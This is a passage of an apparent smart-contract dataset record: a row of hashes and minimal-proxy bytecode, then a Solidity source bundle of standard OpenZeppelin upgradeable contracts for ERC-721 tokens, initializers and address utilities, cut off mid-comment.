1 | 19,495,025 | aac52fdd4761934a8780d38d1738c5bde5d777ce002be00551c4c2394aa5a4b5 | 78c6602fb0c3543c61b8bc793bfa3359eaaec0fd5397929df197dfc4aabd7e84 | 5e648505ecc8427b6e4544e02e8ed6dea4da6d30 | 612e2daddc89d91409e40f946f9f7cfe422e777e | f855c54c6a47cd69fb4e4e71536d15baec4aca03 | 3d602d80600a3d3981f3363d3d373d3d3d363d730532fd6e1109756be1503dabe7194b70df0257a75af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d730532fd6e1109756be1503dabe7194b70df0257a75af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```solidity\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n *\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Returns the highest version that has been initialized. See {reinitializer}.\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}.\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721Upgradeable.sol\";\nimport \"./IERC721ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC721MetadataUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/StringsUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {\n using AddressUpgradeable for address;\n using StringsUpgradeable for uint256;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to owner address\n mapping(uint256 => address) private _owners;\n\n // Mapping owner address to token count\n mapping(address => uint256) private _balances;\n\n // Mapping from token ID to approved address\n mapping(uint256 => address) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n /**\n * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n */\n function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {\n __ERC721_init_unchained(name_, symbol_);\n }\n\n function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n return\n interfaceId == type(IERC721Upgradeable).interfaceId ||\n interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev See {IERC721-balanceOf}.\n */\n function balanceOf(address owner) public view virtual override returns (uint256) {\n require(owner != address(0), \"ERC721: address zero is not a valid owner\");\n return _balances[owner];\n }\n\n /**\n * @dev See {IERC721-ownerOf}.\n */\n function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n address owner = _ownerOf(tokenId);\n require(owner != address(0), \"ERC721: invalid token ID\");\n return owner;\n }\n\n /**\n * @dev See {IERC721Metadata-name}.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev See {IERC721Metadata-symbol}.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev See {IERC721Metadata-tokenURI}.\n */\n function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory baseURI = _baseURI();\n return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner or approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(address from, address to, uint256 tokenId) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns the owner of the `tokenId`. Does NOT revert if token doesn't exist\n */\n function _ownerOf(uint256 tokenId) internal view virtual returns (address) {\n return _owners[tokenId];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _ownerOf(tokenId) != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId, 1);\n\n // Check that tokenId was not minted by `_beforeTokenTransfer` hook\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n unchecked {\n // Will not overflow unless all 2**256 token ids are minted to the same owner.\n // Given that tokens are minted one by one, it is impossible in practice that\n // this ever happens. Might change if we allow batch minting.\n // The ERC fails to describe this case.\n _balances[to] += 1;\n }\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId, 1);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n * This is an internal function that does not check if the sender is authorized to operate on the token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId, 1);\n\n // Update ownership in case tokenId was transferred by `_beforeTokenTransfer` hook\n owner = ERC721Upgradeable.ownerOf(tokenId);\n\n // Clear approvals\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // Cannot overflow, as that would require more tokens to be burned/transferred\n // out than the owner initially received through minting and transferring in.\n _balances[owner] -= 1;\n }\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId, 1);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(address from, address to, uint256 tokenId) internal virtual {\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId, 1);\n\n // Check that tokenId was not transferred by `_beforeTokenTransfer` hook\n require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n\n // Clear approvals from the previous owner\n delete _tokenApprovals[tokenId];\n\n unchecked {\n // `_balances[from]` cannot overflow for the same reason as described in `_burn`:\n // `from`'s balance is the number of token held, which is at least one before the current\n // transfer.\n // `_balances[to]` could overflow in the conditions described in `_mint`. That would require\n // all 2**256 token ids to be minted, which in practice is impossible.\n _balances[from] -= 1;\n _balances[to] += 1;\n }\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId, 1);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(address owner, address operator, bool approved) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens will be transferred to `to`.\n * - When `from` is zero, the tokens will be minted for `to`.\n * - When `to` is zero, ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /**\n * @dev Hook that is called after any token transfer. This includes minting and burning. If {ERC721Consecutive} is\n * used, the hook may be called as part of a consecutive (batch) mint, as indicated by `batchSize` greater than 1.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s tokens were transferred to `to`.\n * - When `from` is zero, the tokens were minted for `to`.\n * - When `to` is zero, ``from``'s tokens were burned.\n * - `from` and `to` are never both zero.\n * - `batchSize` is non-zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal virtual {}\n\n /**\n * @dev Unsafe write access to the balances, used by extensions that \"mint\" tokens using an {ownerOf} override.\n *\n * WARNING: Anyone calling this MUST ensure that the balances remain consistent with the ownership. The invariant\n * being that for any address `a` the value returned by `balanceOf(a)` must be equal to the number of tokens such\n * that `ownerOf(tokenId)` is `a`.\n */\n // solhint-disable-next-line func-name-mixedcase\n function __unsafe_increaseBalance(address account, uint256 amount) internal {\n _balances[account] += amount;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[44] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC721/extensions/ERC721Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC721Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC721 Burnable Token\n * @dev ERC721 Token that can be burned (destroyed).\n */\nabstract contract ERC721BurnableUpgradeable is Initializable, ContextUpgradeable, ERC721Upgradeable {\n function __ERC721Burnable_init() internal onlyInitializing {\n }\n\n function __ERC721Burnable_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev Burns `tokenId`. See {ERC721-_burn}.\n *\n * Requirements:\n *\n * - The caller must own `tokenId` or be an approved operator.\n */\n function burn(uint256 tokenId) public virtual {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner or approved\");\n _burn(tokenId);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC721Upgradeable.sol\";\n\n/**\n * @title ERC-721 Non-Fungible Token Standard, optional metadata extension\n * @dev See https://eips.ethereum.org/EIPS/eip-721\n */\ninterface IERC721MetadataUpgradeable is IERC721Upgradeable {\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721ReceiverUpgradeable {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165Upgradeable.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721Upgradeable is IERC165Upgradeable {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since 